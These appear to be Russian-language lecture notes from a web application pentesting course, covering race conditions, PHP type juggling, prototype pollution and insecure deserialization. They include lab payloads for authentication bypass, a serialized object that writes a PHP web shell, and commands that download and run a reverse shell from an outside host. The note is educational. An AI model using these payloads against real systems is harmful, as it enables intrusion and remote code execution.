другие потоки не могут обращаться к защищаемым ресурсам. Race condition Синхронизация может быть выполнена: программно; на уровне сессий; на уровне БД; Race condition Синхронизация на уровне БД. Используются транзакции и конструкции FOR SHARE, FOR UPDATE и другие . Race condition Встречается также в других случаях, например, при проверке одноразовых паролей OTP. Race condition Для одновременной отправки запросов можно также использовать плагин Burp Turbo Intruder: https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack Скрипт: https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py Race condition Пример реальной накрутки бонусов в Starbucks: https://habr.com/ru/post/258449/ Race condition Также возникают в случаях с файлами. Файл на ФС находится не долго и атакующему нужно успеть к нему обратится. Актуально для File Upload/LFI. Задания Burp Academy: Horizontal Privilege Escalation https://portswigger.net/web-security/access-control на CTFd (http://psorokin.ru) тест для самопроверки в LMS. # Занятие 9. Небезопасное сравнение и приведение типов в PHP. Состояние гонки. Вторник, 16 августа 2022г., с 19:00 до 22:00 (МСК) Атака использующая небезопасное сравнение, уязвимость приведения типов в PHP. Защита от логических багов и защита потоков синхронизацией https://hackmd.io/81Vpd0QcSUaHqPM_33MijA Raise Condition ![](https://i.imgur.com/IkDhimT.png) CopyAsRequests ![](https://i.imgur.com/5Iot194.png) Задаем куку - от имени пользователя ![](https://i.imgur.com/dtcQRLj.png) ![](https://i.imgur.com/3dWQZEG.png) модуль реквест к бурпу ![](https://i.imgur.com/xEAbhuv.png) ![](https://i.imgur.com/DVB9Tqp.png) 10 запросов отправляем дело в том что когда рпр вызывает ![](https://i.imgur.com/VlMEkCP.png) Как не допустить рейс кондишн на уровне сессий Пока 1 запрос не выполнится, 2 будет ждать ![](https://i.imgur.com/rGgzJeE.png) Блокировка на уровне сесий Чтобы отправить 10 щапросов , надо сделать для 1 польз много сессий на 1 пользователю ![](https://i.imgur.com/mOZ7Qjg.png) ![](https://i.imgur.com/fzS8aTR.png)![](https://i.imgur.com/XBMF1Lb.png) извлечение идентиф сессий и функция возвращает сессию allow_redirect=False - ![](https://i.imgur.com/FJq6kZg.png) добавляем в фйнкцию отправки ![](https://i.imgur.com/MfrHMmK.png) ![](https://i.imgur.com/nJRCSJo.png) ![](https://i.imgur.com/TY7BiGq.png) 5 раз будет вызвана функция логин и дальше добавляем кому добавляем и сколько ![](https://i.imgur.com/sOzgogo.png) отправили по 120 руб 5 раз ![](https://i.imgur.com/gpWxjy6.png) ![](https://i.imgur.com/rm65G7E.png) 3 раза атака сработала из 5 это может не с первого раза сработать надо прогонять 1000 раз в каждую сторону. ![](https://i.imgur.com/zUwjqL9.png) отправляем в обратнуб сторону https://habr.com/ru/post/258449/ с помощью рейс кондишн и переводе с карты на карту он накрутил бонусов ![](https://i.imgur.com/5igoiwr.png) для дз - понять как файлы загружаются и быстро удаляются ![](https://i.imgur.com/QVjNN2Z.png) засыпает на секунду ## Race condition Способ защиты - **синхронизация**. Один поток “захватывает” (acquire) объект синхронизации. Пока он не “отпущен” (release), другие потоки не могут обращаться к защищаемым ресурсам. Race condition ### Синхронизация может быть выполнена: программно; на уровне сессий; на уровне БД (чаще всего); Race condition ### Синхронизация на уровне БД. Используются транзакции и конструкции FOR SHARE, FOR UPDATE и другие . Будет работать пока не введем commit/roll back ![](https://i.imgur.com/e2EIXBo.png) зашли в 2 интерфейса и 2 потока одновременно пытаюься обратится ![](https://i.imgur.com/io02rz5.png) переходим в режим транзакции - autocommit set autocommit=0; ![](https://i.imgur.com/k1y5LOD.png) написан баланс ![](https://i.imgur.com/LY1djYY.png) делаем for update в 1 транзакции и во второй ![](https://i.imgur.com/g66IQHq.png) поток завис пока 1 транзакция закончит когда напишем commit ![](https://i.imgur.com/zlwXIIm.png) блокируется 1 строчка (можем заблокировать 10) Если пишем на питоне то должны знать библиотеку web request Race condition Встречается также в других случаях, например, при проверке одноразовых паролей OTP. Race condition Для одновременной отправки запросов можно также использовать плагин **Burp Turbo Intruder**: https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack можно вложить кусок кода на питоне и он пытается одновремменно отправить запрос , но много гемора с синтаксисом бурпа Скрипт: https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py Race condition Пример реальной накрутки бонусов в Starbucks: https://habr.com/ru/post/258449/ Race condition Также возникают в случаях с файлами. Файл на ФС находится не долго и атакующему нужно успеть к нему обратится. Актуально для File Upload/LFI. Задания Burp Academy: Horizontal Privilege Escalation https://portswigger.net/web-security/access-control на CTFd (http://psorokin.ru) тест для самопроверки в LMS. # Web App Pentest Logical bugs Prototype Pollution Вопросы по заданиям? ## Logical bugs Логические ошибки допущенные разработчиками могут позволить атакующему выполнить запрещенное действие, обойти проверку и т.д. ## PHP Loose Comparison & Type Juggling слабое сравнение и жонглирование типами PHP LC & TJ PHP содержит два оператора сравнения: == - нестрогий(слабое), допускает приведение типов === - строгий, типы должны совпадать https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf ![](https://i.imgur.com/ZZyL2j9.png) **какие типы данных являются сравнивыми** 0 сравнимый с любой строкой - дает тру , таким образом можнно обойти СSRF защиту заходим в БВАПП ![](https://i.imgur.com/FJxvu3c.png) php -a интерактивый режим пхп делаем сравнения ![](https://i.imgur.com/zH17t5v.png) если тру то сперед пишется 1 ![](https://i.imgur.com/iiCn9uT.png) пхп пытается интерпретировать строку в число, по умолчанию будет 0 ![](https://i.imgur.com/Pkfojd1.png) пустой массив сравниваем с False - 1 будет ### Scientific notation экспотенциальная запись чисел (слева мастиса справа компонента) "1e1" == 10 // True "0e32" == 0 // True "0e2323" == "0e42424" // True (обе строки приводятся в числа и получается тру) ### Функции возвращающие Null (работает до 7 версии) Некоторые функции PHP при получении в качестве параметра неожиданного значения не падают с Fatal Error а выводят Warning, и возвращают NULL (не роняют пхп). Например: **hash_hmac** вычисляет hmac на основе хэша ![](https://i.imgur.com/HLjstml.png) ![](https://i.imgur.com/xfxyUpA.png) В PHP >8 версии многие функции начали возвращать Fatal Error. Пример http://csr8.psorokin.ru:8091/?source ![](https://i.imgur.com/RrATKMb.png) ![](https://i.imgur.com/KiNMUN5.png) можно не зная пароля логина и секрета - войти в это приложение ![](https://i.imgur.com/FqQwQN5.png) ![](https://i.imgur.com/eyrj0B8.png) не зная hmac вызываем состояение hooray... ![](https://i.imgur.com/7ZtXxPH.png) null - будет сравнивать со значением hmac ![](https://i.imgur.com/OgbwVi0.png) SESSION[] hmac= и работает, **обошли аутентификацию** **Массивы передаются через кадратные скобки** в любых параметрах Написали варданп из суперглобального массива ![](https://i.imgur.com/aglgzzw.png) ![](https://i.imgur.com/P2Stalp.png) ![](https://i.imgur.com/Em1KCqM.png) ![](https://i.imgur.com/PZYKwvJ.png) ассоциативный массив ![](https://i.imgur.com/1hBSGgN.png) ![](https://i.imgur.com/DkHfvlq.png) docker run -p 7777:80 cth123123/php_loosecomparison ## Как защищаться? ВСЕГДА использовать сильные операторы сравнения === !==. in_array использовать с третьим параметром True: in_array("value", arr, TRUE) (он сравнивает строку value c массивом arr, если передать TRUE то будет использовать сильное сравнение, если ничего не передавать/false, то будет слабое ) Logical bugs **Логические ошибки могут быть абсолютно разными**. Примеры: bWAPP Captcha; Portswigger https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass Надо одноразовый пароль обойти ![](https://i.imgur.com/Iek7aJz.png) В email client portswigger - видим одноразовый код ![](https://i.imgur.com/5vc6I8P.png) Нам возвращается какакя то сессия ![](https://i.imgur.com/5TfKEZq.png) Тут второй фактор не нужен - мы убедились на втором аккаунте. JSON - пощволяет передавать числа, массивы, булевые переменные, {} ассоциативный массив data ![](https://i.imgur.com/4ZrKkMM.png) none - null [1,2,3,4] {"dcdscd:123"} ![](https://i.imgur.com/WlwRK3M.png) php преобразуют в массив ## PHP type juggling 201 Solve: https://www.root-me.org/en/Challenges/Web-Server/PHP-type-juggling Исходный код: можем пердеать в auth - фнкцию json и php его декодирует. ![](https://i.imgur.com/xtpCnvk.png) true / 0 - будет равно строке Логическое отрицание в PHP = NULL ![](https://i.imgur.com/JAJYBMB.png) ![](https://i.imgur.com/nETLcOO.png) auth={"data":{"login":true,"password":[]}} Фигурными скобками обозначается ассоциативный массив в json. ![](https://i.imgur.com/fHF4aAx.png) none (json) = NULL (php) ## Prototype Pollution Prototype Pollution - порча прототипа Появилась не так давно. На собеседовании обязательно спросили бы, для понимания как человек следит за темой. Проблема характерная исключительно для **javascript** В javascript нету нормальных классов. Вместо них используются **прототипы** (prototype). ### Prototype - Реализация наследования в javascript <Демонстрация объекта javascript и прототипа в консоли> ![](https://i.imgur.com/5Kvs0Pp.png) создаем объекты javascript ![](https://i.imgur.com/xdQ8vBk.png) ![](https://i.imgur.com/27WIXKT.png) x.__proto__ вызываем прототип объекта (указывает на прототип) ![](https://i.imgur.com/DGV79ye.png) object.prototype ![](https://i.imgur.com/uV6iKBx.png) ![](https://i.imgur.com/lL3OQn2.png) когда мы смотрим данный прототип, то смотрим прототип на текущем объекте ххх, если нет, то смотрит на прототипе объекта х, если там нет, то на прототипе прототипа объекта х ![](https://i.imgur.com/Oa5eCWR.png) Object - самый веррхний уровень ![](https://i.imgur.com/0AvqUyn.png) **Передача свойств сверху вниз.** Свойства старшего класса передаются всем наследникам. Один раз изменили прототип и он для всех объектов node.js ![](https://i.imgur.com/GXOEMFX.png) Prototype ## Способы получения доступа к прототипу: ``` test_obj = {data:'fefefe',name:'xxxxx'}; test_obj.__proto__ // вернет прототип Object.getPrototypeOf(test_obj) // Тоже вернет прототип ``` Prototype Прототип объекта указывает на .prototype какого либо класса (ccылка на прототип) == (настоящий прототип) ``` test_obj.__proto__ == Object.prototype > true ``` ## Prototype Когда javascript **ищет** запрошенное **свойство** объекта test_obj.name он: ``` 1. Сначала ищет name в самом объекте 2. Если не находит, то смотрит в прототипе test_obj.__proto__.name 3. Если и там нет, то в ход идет test_obj.__proto__.__proto__.name 4. И т.д. пока .__proto__!=null ``` ## Prototype изменять Прототип можно изменять через доступ к свойству **proto** ``` test_obj.__proto__.toString = function () { return 'fefefe' }; console.log ('object is ' + test_obj); Тут у нас происходит конкатенация объекта к строке, для этого вызывается функция toString ``` ![](https://i.imgur.com/B9O0D4P.png) вернет строку fefefe для любого объекта джава скрипта, так как поменяли функцию toString ![](https://i.imgur.com/mxCBiif.png) Prototype Изменения прототипа перманентны и **касаются всех** объектов в текущем контексте: ``` test_obj.__proto__.toString = function () { return 'fefefe' }; other_obj = {}; console.log ('object is ' + other_obj); ``` Prototype Изменения прототипа перманентны и касаются всех объектов в текущем контексте: ``` test_obj.__proto__.toString = function () { return 'fefefe' }; other_obj = {}; console.log ('object is ' + other_obj); Object.prototype.toString() //эта функция будет изменена ``` ## Prototype Pollution Небезопасные конструкции в коде могут приводить к возможности произвольного изменения часто используемого прототипа, например Object.prototype, атакующим. Это позволяет нарушить логику работы приложения в других местах кода. Это позволит атакующему достигнуть того что интересно. Prototype Pollution ## Для возникновения уязвимости нужно: 1. Возможно собственно самого Pollution - изменения прототипа 2. Использование другим кодом какого либо параметра из прототипа Prototype Pollution ### Возможность изменения прототипа В коде должно быть что-то такое ``` var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; ``` ### Prototype Pollution Возможность изменения прототипа ``` var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a=__proto__ b=toString c=xxxx ``` x.xxx = x['xxx'] **эквива** будет DOS, так как java script использует много где to strin Prototype Pollution Возможность изменения прототипа ``` var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a='__proto__' b='toString' c='xxxx' d['__proto__']['toString']='xxxx'; ``` Prototype Pollution Возможность изменения прототипа ``` var a = <input>; var b = <input>; var c = <input>; var d = {}; d[a][b] = c; a='__proto__' b='toString' c='xxxx' d['__proto__']['toString']='xxxx'; ``` **Это DoS!** ## Prototype Pollution библиотеки Обычно такие проблемы возникают при использовании **библиотек** unflatten (fix https://github.com/hughsk/flat/pull/106) ``` const { unflatten } = require('flat'); app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); res.json(object); }); ``` `unflatten({"a.b.c":333});` Пример в консоли (npm install flat@5.0.0) (npm - пакетный менеджер для джава скрипт). ![](https://i.imgur.com/OoMcJnJ.png) unflatten - из плоского вида переводит в древовидный массив ![](https://i.imgur.com/SLENi3P.png) zzz - отображает теперь везде в коде ## Prototype Pollution Обычно такие проблемы возникают при использовании библиотек unflatten ``` const { unflatten } = require('flat'); app.post('/vulnerable', function (req, res) { let object = unflatten(req.body); # unflatten делается в тело запроса res.json(object); }); ``` `unflatten({"__proto__.isAdmin":true});` **В одном запросе можем сделать pollution в другом запросе это использовать ** Prototype Pollution Обычно такие проблемы возникают при использовании библиотек ### **lodash** ``` var _ = require('lodash'); var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}'); _.merge({}, payload); console.log({}.isAdmin); // true ``` Пример в консоли (npm install lodash@4.17.10). в прототипе появится isAdmin ## Prototype Pollution Использование другим кодом Использование другим кодом какого либо параметра из прототипа. Чтобы в какой то части кода эти прототипы брались и их можно было неккоректно использовать. **Обычно выглядит как то так:** В джаваскрипт в config передаются свойства ``` function test( response,config ) { var file = config.file || '/tmp/123' response.sendFile(file) } ``` если файл лежит, то использует его, если нет, то вызывается || и вместо снадартного свойства будет использовано наше Prototype Pollution Использование другим кодом какого либо параметра из прототипа Обычно выглядит как то так: ``` function test( response,config ) { var file = config.file || '/tmp/123' response.sendFile(file) } ``` ``` x.__proto__.file='/etc/passwd' config = {} var file = config.file || '/tmp/123' # является паттерном в библиотеках и часто встречается в коде console.log(file) # записалось etc/passwd/ в переменную file ``` ![](https://i.imgur.com/sZnm2kp.png) Мы используем такие конструкции, где значение если нет, то значение по умолчанию можем подделать ## Prototype Pollution Filter bypass Filter bypass Если` __proto__` блокируется, то можно использовать **constructor.prototype**. ``` > x.__proto__ [Object: null prototype] { file: '/etc/passwd' } > x.constructor.prototype [Object: null prototype] { file: '/etc/passwd' } ``` ![](https://i.imgur.com/uwLo8LR.png) ## Prototype Pollution Использование другим кодом какого либо параметра из прототипа Такие использования, которые что-то дают атакующему, называются “гаджетами”. В ряде популярных библиотек известны гаджеты (fork, spawn)[https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/] (pug и handlebars)[https://blog.p6.is/AST-Injection/] Prototype Pollution **Паттерн javascript** он встречается повсюду `const isAdmin = session.isAdmin || false;` ## Пример Prototype Pollution - Admin. ![](https://i.imgur.com/y3Rnp0w.png) ручка админ проверяет сессию , если есть isAdmin, то нас аутеннтифицирует ![](https://i.imgur.com/T7DLppw.png) ![](https://i.imgur.com/p4wILz5.png) на прототипе добавляется свойство isAdmin, оно на прототипе и не отображается. Можем добавлять массивы в коллекцию ![](https://i.imgur.com/jAFnSEB.png) экплойтим библиотеку **lodash** ![](https://i.imgur.com/h4h1d4J.png) ![](https://i.imgur.com/Tc8F5jt.png) оptions - не обязательный параметр - если есть параметр в options то возьмет его, если нет то по дефолту ## Известные гаджеты gadjet https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/ (внутри есть reverse shell ) Спавнится процесс node.js дочерний, когда один ноджс вызывает другой ноджс ![](https://i.imgur.com/AeKLTL3.png) берется env(переменная среды) либо из options либо из текущего process И атакующий может переопределить envirement NODE OPTIONS - env переменная nodejs, в которую можно указать опции запуска дочернего nodejs процесса **--require - аналог include php** ![](https://i.imgur.com/O4enKzr.png) ![](https://i.imgur.com/5WgFamE.png) в файле /proc/self/environ https://blog.p6.is/AST-Injection/ Пример breaking grad в https://hackthebox.eu ## Prototype Pollution Client Side Также Prototype Pollution может приводить к XSS. Примеры: https://habr.com/ru/company/huawei/blog/547178/ практика и эксплуатация, как искать Гаджеты для библиотек: https://github.com/BlackFan/client-side-prototype-pollution ![](https://i.imgur.com/9b2WJV4.png) Тоже приведет к Prototypr Polution on client side и на прототипе появится test со значением test **Как проверяется** Вставляем в URL ![](https://i.imgur.com/mUHoueh.png) В консоли смотрим object.prototype.test ![](https://i.imgur.com/BP8YRRS.png) если появился то уязвимость есть ## Prototype Pollution Как защищаться - Надо обновлять библиотеки. - На известные библиотеки с Prototype Pollution, заводятся CVE. Системы SCA их обнаруживают. - Можно попытаться заблеклистить, но это не всегда работает: __proto__ prototype constructor Задания Gunship HTB на CTFd ![](https://i.imgur.com/3WQWdEX.png) ![](https://i.imgur.com/9CxjkUu.png) prototype polution gadjet тоже есть ## Prototype Polution on server detect ![](https://i.imgur.com/Pv12zsW.png) **детектим на серверной части** - prototype polution есть на node.js ![](https://i.imgur.com/O3RXr0p.png) "toString":true - prototype polution есть, приложение упало ![](https://i.imgur.com/tVQxcxS.png) **Можно в объекты попихать __proto__** если возвращается обратно - то prototype polution нет, если не возвращает то есть как определить бэк приложения и язык програмирования - по сообщению об ошибке ( они свойственны фреймворкам, конструкция языка программирования) # Занятие 10. Небезопасная десериализация Insecure Deserialization Четверг, 18 августа 2022г., с 19:00 до 22:00 (МСК) Изучение сериализации, небезопасной десериализации для разных языков программирования, методы защиты от уязвимости https://hackmd.io/25DyAKCnRq2G00S6j-GMgQ Web App Pentest Insecure Deserialization Вопросы по заданиям? # OWASP (A8 2017) -> (A8 2021): Insecure Deserialization Небезопасная десериализация часто приводит к удаленному выполнению кода. Ошибки десериализации, не приводящие к удаленному выполнению кода, могут быть использованы для атак с повторным воспроизведением, внедрением и повышением привилегий. ## Сериализация Процесс перевода какой-либо структуры данных в последовательность байтов Десериализация - обратная процедура - восстановление структуры данных из последовательности байтов ## Сериализация Используется Используется для: - Сохранения данных - Передачи данных по сети Сериализация ## Сериализация в типовые форматы данных: (Позволяют передавать плоские данные: числа, строки, булевые переменные, массивы, ассоциативные массивы) Объекты Эти форматы без расширений передавать не позволяют. -json -xml -yaml Сериализация ## Сериализация Специальные форматы, встроенные в языки: - php - сериализация в полутекстовый формат - java - бинарная сериализация - .Net - бинарная сериализация Также создано множество third-party сериализаторов для различных ЯП. ## PHP serialization PHP serialization **функции**: serialize(obj)(объект), unserialize(string)(строку принимает и на основе ее конструирует обратный объект) Использует полутекстовый формат. Пример сериализованной строки: a:5:{i:0;s:3:"aaa";i:1;i:1;i:2;b:1;i:3;d:3.5;i:4;a:1:{s:3:"xxx";s:3:"zzz";}} <Посмотрим на примере массив, класс> echo serialize(1); //Сериализация ![](https://i.imgur.com/PRpetPC.png) var_dump* unserialized('i:1;')); //Десиреализация i - сокращение integer целоцелое число ![](https://i.imgur.com/L04TuEz.png) целое чило 1 ![](https://i.imgur.com/QrD5jvr.png) булев тип ![](https://i.imgur.com/5rHEUtl.png) s(строка): 6 символов(длина строки) d - число в десятичном виде- с плавающей точкой массивы ![](https://i.imgur.com/Ax0ESR9.png) a - array(массив) в нем 3 элемента{ 6 сериализованных пхп значений индекс:значение элемента } (потому что индекс всегда хранится) Ассоциативный массив строки ссылаются на числа ![](https://i.imgur.com/kAwpa01.png) индекс - строка, значение 32 и тд В обычном массиве индекс не указывается В ассоциативном массиве всегда есть индекс напрмер 'a' (число, строка) ![](https://i.imgur.com/KDzXmQy.png) у нас ПХП Класс есть публичное свойство $var, $bar есть метод $this ![](https://i.imgur.com/GhB50LY.png) ![](https://i.imgur.com/tNTs9v4.png) создаем объекты этого класса ![](https://i.imgur.com/uC8OOeP.png) ![](https://i.imgur.com/vO7VR7Q.png) o - object , длина 11 , дальше 2 - кол-во свойств, имя и значения свойства ![](https://i.imgur.com/LdHExd9.png) десериализовали ![](https://i.imgur.com/5nlNVhV.png) **Сами методы не сериализуются, сериализуются свойтва/данные** **Объекты ссылаются друг на друга** ![](https://i.imgur.com/sg7Cxq5.png) r - ссылка (reference) на объект ## Insecure Deserialization Небезопасная сериализация Уязвимость, при эксплуатации которой данные, полученные от атакующего проходят процедуру десериализации, что приводит к создании в уязвимом веб-приложении объектов, контролируемых атакующим. Пример ``` class Foo{ public doStuff(){ //тут безопасный код } } class Destruct{ public doStuff(){ //Тут что то опасное } } $obj = unserialize($_COOKIE['foo']); $obj->doStuff(); // Какой из методов тут вызовется? Контролируется атакующим ``` Cookie foo - десеарилизуется ![](https://i.imgur.com/591OpuM.png) в куку можем положить в посте - message - сериализуется и пишется в куку ![](https://i.imgur.com/IKCw0K6.png) десеарилизуется и вызывается process от echoer ![](https://i.imgur.com/jO3o9gU.png) бурп заметил сериализованные данные ![](https://i.imgur.com/yioIxWB.png) ![](https://i.imgur.com/k1wNN8F.png) сообзение взято из куки и дисереализовано ![](https://i.imgur.com/8BtyfSv.png) Отправляем в репитер ![](https://i.imgur.com/QVImtzU.png) декодируем и оборачиваем в ЮРЛ кодировку ![](https://i.imgur.com/qw7J9p8.png) поменяли значение куки Поменяли длину строки - вызвал ошибку Меняем имя свойства - оно не показывается Надо поменять имя и команды ![](https://i.imgur.com/yNHujla.png) ![](https://i.imgur.com/sZFaCGw.png) Это если не поменяли message на command `<@urlencode>O:8:"Executor":1:{s:7:"command";s:6:"ls -la";}<@/urlencode>` На объекты пхп можно навешивать свойства, если в классе оно не определено ![](https://i.imgur.com/zPFzFO4.png) Это если кто то положил такой класс и мы его знаем **Делаем эксплойт для класса Echoer** ![](https://i.imgur.com/nQf7Mgi.png) Cоздаем объект класса executor ``` <?php class Echoer { public $message; function process() { echo $this->message; } } class Executor { public $command; function process() { system($this->command); } } $x = new Executor(); $x->command='id'; echo serialize($x); ?> ``` ![](https://i.imgur.com/qZnYmAr.png) ![](https://i.imgur.com/sLaD9vp.png) Cookie: echoer=<@urlencode>O:8:"Executor":1:{s:7:"command";s:2:"id";}<@/urlencode> Insecure Deserialization Пример - Echoer http://csr8.psorokin.ru:8106 ## PHP Magic methods Методы которые могут быть вызваны без прямого вызова: __construct (вызывается когда объект создается) __destruct (когда объект уходит из зоны видимости - удаляется, вызывает пхп рантайм) __call __callStatic __get __set __isset __unset __sleep __wakeup __toString __set_state __clone __invoke PHP Magic methods ## Чаще всего используются: - __wakeup (пробуждение - вызывается когда объект десереализуется, чтото инициализирует - коннект к БД, что то прочитать с жесткого диска - __destruct - __toString(когда объект класса приводится к строке) ![](https://i.imgur.com/Y2FZUOS.png) ![](https://i.imgur.com/wifKBhd.png) Создадим объект класса ![](https://i.imgur.com/AQGFozU.png) сериализуем этот объект ![](https://i.imgur.com/aQ43QJB.png) десериализуем в обджект2 - вызвался вейкап ![](https://i.imgur.com/dA6BZ7F.png) ![](https://i.imgur.com/zjmDeOf.png) конкатенация - вывод - toString ![](https://i.imgur.com/9pYRsl5.png) Перезаписали объект 1 Когда вышел из пхп и второй объект был убит, потому что продолжили в destruct Иногда вот эти: - __call (на классе вызываеется метод, который не определен в классе, аргумент - в виде массива) - __get (вызывается свойство которого нет) - __set (когда вытаются прописать свойство того чего нет ) Insecure Deserialization Практика - создание файла http://csr8.psorokin.ru:8105 ![](https://i.imgur.com/7qv3MIf.png) file_put_contents - сохраняет инфу в файл **мы хотим залить шелл ** в корневую директорию залить файл. Ловим запрос, Модифицируем на объект класса file_saver. Вызывается метод destruct, после чего положит в файл наши данные. Нам нужно внутрь массива добавить объект. Иначе фатал еррор. ``` Пример class Executor {    public $command;    function process()    {        system($this->command);    } } $x = new Executor(); $x->command='id'; echo serialize($x); ``` **Shell PHP** <?php system($_GET['c']) ?> ``` <?php class Echoer { class file_saver { public $file; public $data; function __destruct() { echo "destruct is called"; file_put_contents($this->file,$this->data); } } $x =new file_saver(); $x->file='shell.php'; $x->data='<?php system($_GET["c"]) ?>'; echo serialize($x); ?> ``` https://onlinephp.io ``` O:10:"file_saver":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:27:"<?php system($_GET["c"]) ?>";} ``` ![](https://i.imgur.com/cnLkHsd.png) ![](https://i.imgur.com/0enDOov.png) ![](https://i.imgur.com/FJHL6bK.png) прям так вставили - выдал ошибку ![](https://i.imgur.com/Jkg0XkL.png) добавили в массив 3 объект ![](https://i.imgur.com/PdwRho6.png) можно было сделать массивом `[$x] ` Сделали массив - обратился к массиву и фатал эррор не произошло ![](https://i.imgur.com/QP5sXJ0.png) ![](https://i.imgur.com/oGvzytQ.png) Переходим по адресу http://csr8.psorokin.ru:8105/shell.php?c=ls Shell загружен http://csr8.psorokin.ru:8105/shell.php?c=cat%20../../../flag.txt flag: omg_php_created a:1:{i:0;O:10:"file_saver":2:{s:4:"file";s:17:"cybered_shell.php";s:4:"data";s:27:"<?php system($_GET["c"]) ?>";}} ## PHP deserialization - exploitation Три сценария для построения эксплойта: 1. Используется тот же самый класс, что и ожидает разработчик, но меняет структуру объекта так как нужно атакующему 2. Используется другой класс, для которого определены одноименный с используемым методы 3. Используется класса с определенными магическими методами Как правило необходима цепочка из разных классов, такую цепочку называют Gadget Chain. ## Object Injection - атака на уязвимость небезопасной сериализации Также иногда атаку на уязвимость Insecure Deserialization называют Object Injection ## PHP deserialization - known gadgets Классов в приложении может быть не много, да и код не известен атакующему зачастую. Но к коду всегда подключены **фреймворки(библиотеки классов)** и стандартные библиотеки. Существует **набор эксплойтов** для распространенных компонентов, которые часто бывают включены в проекты. PHP deserialization - known gadgets #php_deserialization #phpggc #php_tools **phpggc** - инструмент, который позволяет генерировать эксплойты для таких распространенных компонентов https://github.com/ambionics/phpggc ![](https://i.imgur.com/Ij4Pr8a.png) PHP deserialization - known gadgets <Посмотреть код, проанализировать эксплойт> http://csr8.psorokin.ru:8102/ phpggc ![](https://i.imgur.com/16dQyfP.png) ![](https://i.imgur.com/iIVp7KO.png) ![](https://i.imgur.com/2W04OHS.png) удалили куки ![](https://i.imgur.com/BInxtUo.png) ![](https://i.imgur.com/T2uteB9.png) Воспользуемся phpggc - гаджет который позволит выполнять определенные команды в системе Laravel ![](https://i.imgur.com/UywCTsq.png) ./phpggc ![](https://i.imgur.com/PGBTMjk.png) ![](https://i.imgur.com/1PLLeUT.png) ![](https://i.imgur.com/fmpoiFF.png) длину пишет - 9 , потому что вокруг звездочки на пхп 2 нулевых байта ![](https://i.imgur.com/Rm69MX2.png) events - protected свойство , поэтому .*. ![](https://i.imgur.com/LEMNWv0.png) закодировали в base64 потом декодировали в юрл и d_base64 ![](https://i.imgur.com/YuuHmrE.png) ![](https://i.imgur.com/csua7bB.png) Вызвали функцию систем с параметром ID **Обнаружение сериализации - в куках ( бурп подсветит)** ![](https://i.imgur.com/Pr16xF6.png) Структура эксплойта для Laravel ![](https://i.imgur.com/DLgDPXS.png) __destruct (на его основе наш чейн) ![](https://i.imgur.com/iRcNB5y.png) Если на объекте класса вызываестя метод который не определен, но метод **__call** вызовет эту функцию ![](https://i.imgur.com/1Aqlpma.png) ![](https://i.imgur.com/7akGmbq.png) Вызывает функцию по имени - стандартная функция пхп ![](https://i.imgur.com/lP8E4R8.png) ![](https://i.imgur.com/UAVcTx2.png) ## PHP deserialization - Как защищаться? Не диссериализовывать пользовательские данные Начиная с PHP 7 добавлен второй параметр в функцию unserialize, в котором разработчик может указать какие классы разрешены к созданию при десериализации. Не десериализовывать пользовательские данные. Значение FALSE приводит к тому, что объекты классов не будут десериализоваться вообще. ![](https://i.imgur.com/1QQSp5k.png) ## Java serialization Java serialization Стандартная десериализация в Java делается с помощью readObject ``` FileInputStream fis = new FileInputStream("temp.out"); ObjectInputStream oin = new ObjectInputStream(fis); Object ts = oin.readObject(); ``` Java serialization Сериализованный массив имеет стандартный заголовок - **ACED**. это маркер сериализованных данных. ## Java deserialization Cheat Sheet Идея таже самая - концепция как в пхп. Сеарилуются только данные, методы не сериализ. Классы только те что указаны целевом приложениии. https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet #cheat_sheet_java_deserialize ## Java desrialization - known gadgets #ysoserial #java_tools_deserial **ysoserial** - инструмент для составления цепочек гаджетов для стандартной Java десериализации https://github.com/frohoff/ysoserial <пример docker run -p 9005:8090 greendog/wv_java > ![](https://i.imgur.com/GsehYCu.png) ![](https://i.imgur.com/0oZEMWu.png) Строка - java нативная сериализация ![](https://i.imgur.com/tV6VhWB.png) rO0 - java нативная сериализация Можно сделать гит клон - докер билд и будет ysoserial (Иметь докер образ с джава - полезно, чтобы не запутаться в рантаймах джавы) ![](https://i.imgur.com/NG7hFhB.png) - docker run ysoserial ![](https://i.imgur.com/HbICC9T.png) Распространенный набор библиотек commons-collection ![](https://i.imgur.com/LcadP1D.png) ![](https://i.imgur.com/3xQwsH5.png) ![](https://i.imgur.com/DRex9Y7.png) СОхраняем в base64 ![](https://i.imgur.com/xXtJG56.png) ctr+U = юрл кодировку применили ![](https://i.imgur.com/LQsf0TT.jpg) Тут слепая эксплуатация, для использовния - надо прокидывать реверс шелл ## Java deserialization - Runtime.exec Код выполняется как правило путем вызова Runtime.exec (шела тут нет ) Этот метод внутри разбивает строку по символам " \t\n\r\f", и передает полученный массив как аргументы команде, указанной в массиве первой. Обычный шелл не используется. Это не позволяет использовать кавычки для определения строки, содержащей пробелы, а также перенаправления, пайпы и т.д. Стандартный шелл ![](https://i.imgur.com/YEmOLQk.png) ysosirial воспримет как 5 параметров ![](https://i.imgur.com/NlqhUI4.png) а бин баш ждет всю команду целиком Мы ограничены на использование пробелов и еще на некоторые символы ## Java deserialization - Runtime.exec 1. Сначала создать файл, а потом его выполнить Эксплойт в 2 шага ``` python2 -c "open('/tmp/file','wb').write('xxxx'.decode('base64'))" python -c "open('/tmp/file3','wb').write(__import__('base64').b64decode('fefe'))" curl sorokinpf.ru/reverse_shell -o /tmp/shell.txt wget sorokinpf.ru/reverse_shell -o /tmp/shell.txt ---------------- /bin/bash /tmp/shell.txt ``` Java deserialization - Runtime.exec 2. Выполнить шелл с помощью скриптового языка, не используя пробелы: python -c socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR 